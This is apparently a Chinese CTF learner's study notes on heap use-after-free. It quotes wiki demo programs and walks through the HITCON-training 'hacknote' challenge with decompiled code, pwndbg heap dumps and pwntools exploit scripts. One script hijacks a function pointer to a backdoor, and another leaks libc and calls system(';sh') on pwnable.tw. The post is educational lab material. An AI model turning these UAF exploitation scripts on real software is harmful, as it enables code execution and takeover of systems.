漏洞原理

复制的wiki的:

简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

自己的理解

我理解的就是free后没有清空指针,导致还可以继续利用,利用的方式就是申请到free的bins然后覆盖上数据,借此修改一些函数指向等

​ 4.16补充: 其实利用方式很多,总的来说是free后要对它能进行一定的操作,然后free前的功能还能用,比如puts等,就会导致问题.

例子

​ 这是wiki上的例子,可以编译一下然后看看效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <stdlib.h>
typedef struct name {
char *myname;
void (*func)(char *str);
} NAME;
void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }
int main() {
NAME *a;
a = (NAME *)malloc(sizeof(struct name));
a->func = myprint;
a->myname = "I can also use it";
a->func("this is my function");
// free without modify
free(a);
a->func("I can also use it");
// free with modify
a->func = printmyname;
a->func("this is my function");
// set NULL
a = NULL;
printf("this pogram will crash...\n");
a->func("can not be printed...");
}

​ 细节注意:编译的时候要指定好libc,不然如果使用的libc版本过高就会有问题,之前一直在踩这个坑…而且如果事先不指定,编译完再patchelf的话也会有问题,(目前还不懂)

​ gcc -Wl,-rpath=/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64//,–dynamic-linker=/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-linux-x86-64.so.2 1.c

1
2
3
4
5
6
root@VM-24-10-ubuntu:/home/ubuntu/heap/useafter# ./a.out
this is my function
I can also use it
call print my name
this pogram will crash...
Segmentation fault (core dumped)

​ a = NULL的话 , free的过程是怎样的? NULL修改了什么呢?

看雪的一个例子

具体看雪的链接找不到了..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>

void func1()
{
printf("func1\n");
}

void hack()
{
printf("hack\n");
}

struct Pfunc
{
void (*p)();
};


int main()
{
struct Pfunc* lpfunc = malloc(8);
lpfunc->p = func1;
lpfunc->p();

free(lpfunc);


long* hack_point = malloc(8);
*hack_point = hack;

lpfunc->p();
return 0;
}

​ 这个函数就是先申请一个Pfunc结构体指针,分配了一块堆空间,然后把它结构体成员p赋值为一个函数地址,就可以调用了. 然后将这个结构体释放,又申请了一个新的堆空间,赋值为另外一个函数,原先的结构体指针仍然可以利用 ,

​ 那free和没free有什么差别呢????????? free的话,是把这块空间标记为空闲可用,所以说应该还有一个地方,存储着这块空间的管理结构,但是这块空间本身是没有改变的.

HITCON-training 中的 lab 10 hacknote

main

​ 获取用户的输入,然后根据输入进行不同的选择

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf; // [esp+8h] [ebp-10h]
unsigned int v5; // [esp+Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &buf, 4u);
v3 = atoi(&buf);
if ( v3 != 2 )
break;
del_note();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
print_note();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add_note();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
int menu()
{
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
return printf("Your choice :");
}

add

​ notelist这个链表存储内容,链表的每个节点分了两部分,第一部分4字节,存储print_note_content函数地址,第二部分也是一个指针,指向存储malloc的数据的chunk的地址.

​ 例如申请一个8字节大小的content,会得到

image-20230416105824835

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int add_note()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( count <= 5 ) //最多分配5个
{
for ( i = 0; i <= 4; ++i )
{
if ( !notelist[i] )
{
notelist[i] = malloc(8u); //分配一个notelist节点
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)notelist[i] = print_note_content; //存储put函数
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = notelist[i]; //v0等于notelist的第一个8字节,存储put函数
v0[1] = malloc(size); // v0第二个字节,存储真正要存储的数据
if ( !*((_DWORD *)notelist[i] + 1) ) //看有没有分配成功?
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)notelist[i] + 1), size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5; //这是啥??
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :"); //输入要释放的index
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
{
free(*((void **)notelist[v1] + 1));
free(notelist[v1]); // 释放后但没有清零!! 漏洞点
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] ) // 释放后仍然可以调用! 漏洞点!!
(*(void (__cdecl **)(void *))notelist[v1])(notelist[v1]);
return __readgsdword(0x14u) ^ v3;
}

思路

​ free后没有清空notelist的内容,也就是说,还可以继续调用print_note函数,也就是可以调用notelist对应的块的print_note_content函数,如果能够将这个函数修改成后门函数或者system函数的话,就可以getshell.

问题是如何获取这一块空间进行修改呢?, 存储函数地址的这一块空间本质上也是普通的一块堆的空间,可以在释放后重新申请到,所以可以进行释放再申请,但是释放了的话,再申请一次,第一个释放的8字节存放函数地址的chunk还是会被申请为存放函数地址的空间.

​ 不过我们可以最开始连续申请两个notelist,然后再释放,这样的话,第二个notelist存放函数的chunk,就可以被申请作为数据的chunk了

1.申请note0和note1,大小随意,不是8及以下就行, 如16

​ 不能是8及以下是因为不能和存放函数的chunk进入同一个fastbin的链表,不然会影响,

​ 注意,此时会有4个chunk, 2个是用来存放put和content指针的, 两个是存放数据的

2.释放note0和note1,这时候有4个bins了,其中0x10大小的就是存放put和content指针的

1
2
3
4
5
6
7
8
9
pwndbg> bins
fastbins
0x10: 0x804b028 —▸ 0x804b000 ◂— 0x0
0x18: 0x804b038 —▸ 0x804b010 ◂— 0x0
0x20: 0x0
0x28: 0x0
0x30: 0x0
0x38: 0x0

  1. 申请一个大小为8的note2,这个时候就会分别用到0x10的两个fastbin

    而第二个0x10的bin,其实就是note1的存放函数地址的指针,修改为后们函数地址后再通过uaf进行print_note中的函数调用就可以getshell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> bins
fastbins
0x10: 0x0
0x18: 0x804b038 —▸ 0x804b010 ◂— 0x0
0x20: 0x0


pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804b000
Size: 0x11

Free chunk (fastbins) | PREV_INUSE
Addr: 0x804b010
Size: 0x19
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x804b028
Size: 0x11
  1. 此时,我们在申请的这个note2中,填入magic函数的地址,就覆盖了note0的put和content指针,
1
2
3
x/4wx 0x804b000
0x804b000: 0x00000000 0x00000011 0x61616161 0x0a616161
为什么一开始不是数据呢,一开始是存放的chunk的结构等信息
  1. 再调用note0的put,就成功调用了magic函数!exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.log_level= "debug"

io = process("./hacknote")


def add(length,context):
io.sendlineafter("choice","1")
io.sendlineafter("size",length)
io.sendlineafter("Content",context)
def delete(index):
io.sendlineafter("choice","2")
io.sendlineafter("Index",index)
def Print(index):
io.sendlineafter("choice","3")
io.sendlineafter("Index",index)

add("16",b"aaa")
add("16",b"bbb")
delete("0")
delete("1")
add("8",p32(0x08048986))
Print("0")
io.recv(1024)
io.recv(1024)
io.recv(1024)

​ 几个细节问题,比如为什么不能用数字什么的,先看看比较官方的exp怎么写的吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

r = process('./hacknote')


def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)


def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))


def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))


#gdb.attach(r)
magic = 0x08048986

addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1

delnote(0) # delete note 0
delnote(1) # delete note 1

addnote(8, p32(magic)) # add note 2

printnote(0) # print note 0

r.interactive()

​ 修改自己的exp

​ 1.数字都给加上str() 转换一下就可以了

​ 2.输入的字符串可以把b去了

这下顺眼多了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.log_level= "debug"

io = process("./hacknote")


def add(length,context):
io.sendlineafter("choice","1")
io.sendlineafter("size",str(length))
io.sendlineafter("Content",context)
def delete(index):
io.sendlineafter("choice","2")
io.sendlineafter("Index",str(index))
def Print(index):
io.sendlineafter("choice","3")
io.sendlineafter("Index",str(index))

add(16,"aaa")
add(16,"bbb")
delete(0)
delete(1)
add(8,p32(0x08048986))
Print(0)
io.interactive()
#io.recv(1024)

泄露libc

​ 没有后门函数,那就需要泄露libc地址后system、getshell. 把调用的函数地址修改成puts函数的地址,那怎么传参数呢? 参数要用栈,

    #### puts

​ 这是把堆当成栈来用了吗… 也不是, 这个不能用plt的puts来打印,因为没有栈传递参数,但它本身是有一个打印的函数的,正常情况下是打印存储的数据的,如下图,0x0804862b是打印函数,调用这个函数打印0x0804b018地址存储的数据,所以我们可以把这里改成puts的got表地址,就可以打印出来它的内容了

image-20230416105824835

​ puts_addr = u32(io.recv(4)) 这样写还有问题

1
2
3
puts_addr = io.recv(4)
print("here:")
print(puts_addr)

​ 调试一下就会发现有问题,打印的地方不对,在接收这个之前,其实还会接收到那一堆的提示信息,所以先把提示信息接收到,再接收地址即可

1
2
3
4
5
Print(0)
io.recv()
puts_addr = u32(io.recv(4))
print("here:")
print(hex(puts_addr))

后面再继续申请的话,编号是多少呢?

1
2
3
4
5
6

add(16,"aaa")
add(16,"bbb")
delete(0)
delete(1)
add(8,p32(0x804862B) + p32(elf.got["puts"])) //编号是多少???
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF('./hacknote')
mylibc = ELF('./libc_32.so.6')
io = remote('chall.pwnable.tw',10102)

def add_note(size,content):
io.recvuntil("choice :")
io.sendline("1")
io.recvuntil("size :")
io.sendline(str(size))
io.recvuntil("Content :")
io.sendline(content)

def del_note(index):
io.recvuntil("choice :")
io.sendline("2")
io.recvuntil("Index :")
io.sendline(str(index))

def print_note(index):
io.recvuntil("choice :")
io.sendline("3")
io.recvuntil("Index :")
io.sendline(str(index))


add_note(64,"12")
add_note(32,"12")
del_note(0)
add_note(64,"45")
print_note(2)

libc_addr = u32(io.recv(8)[4:8]) - 0x1b07b0
sys_addr = libc_addr + mylibc.symbols['system']

# add_note(8,"12")
# add_note(8,"34")
# del_note(3)
# del_note(4)
del_note(0)
del_note(1)
add_note(8,p32(sys_addr)+";sh\x00")
print_note(0)
io.interactive()

libc_addr = u32(io.recv(8)[4:8]) - 0x1b07b0
sys_addr = libc_addr + libc.symbols[‘system’]

首先,有随机化,这个随机化是什么? 所以必须每次要接收到地址才行,不能用之前的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def Print(index):
#io.sendlineafter("choice","3")
#io.sendlineafter("Index",str(index))
io.recvuntil("choice :")
io.sendline("3")
io.recvuntil("Index :")
io.sendline(str(index))
这玩意有什么区别吗....
io.sendlineafter("choice :","3")
io.sendlineafter("Index :",str(index))
改成这样也可以..........卧槽了.......尼玛范德萨发爱上,要骂人了



[DEBUG] Received 0xc6 bytes:
b'\n'
b'----------------------\n'
b' HackNote \n'
b'----------------------\n'
b' 1. Add note \n'
b' 2. Delete note \n'
b' 3. Print note \n'
b' 4. Exit \n'
b'----------------------\n'
b'Your choice :'
[DEBUG] Sent 0x2 bytes:
b'3\n'
[DEBUG] Received 0x7 bytes:
b'Index :'
[DEBUG] Sent 0x2 bytes:
b'2\n'
Traceback (most recent call last):
File "2.py", line 63, in <module>
libc_addr = u32(io.recv(8)[4:8]) - 0x1b07b0
File "/usr/local/lib/python3.6/dist-packages/pwnlib/context/__init__.py", line 1597, in setter
return function(*a, **kw)
File "/usr/local/lib/python3.6/dist-packages/pwnlib/util/packing.py", line 353, in routine
("big", False): bu}[endian, signed](number, 3)
File "/usr/local/lib/python3.6/dist-packages/pwnlib/util/packing.py", line 320, in routine
return struct_op(data)[0]
struct.error: unpack requires a buffer of 4 bytes
[*] Closed connection to chall.pwnable.tw port 10102

我知道了………..如果不在这之后发..收到的就是后面的那个东西了…….

choice : 会收到 空格和:作为recv的值……

调试

wiki里有调试,可以学一下

问题

​ 如何进行调试源代码? 指定源代码一行一行走?

​ gdb调试的时候r了,ctrl+c了,怎么继续执行 好像没太有办法,可以下断点!也挺好用的

​ 为什么释放的chunk是0x18 也就是24呢,不是16吗 和对其有关?

​ 怎么在gdb里面发送 p32 p64这种数据呢? 可以用eb命令等 直接修改内存就可以了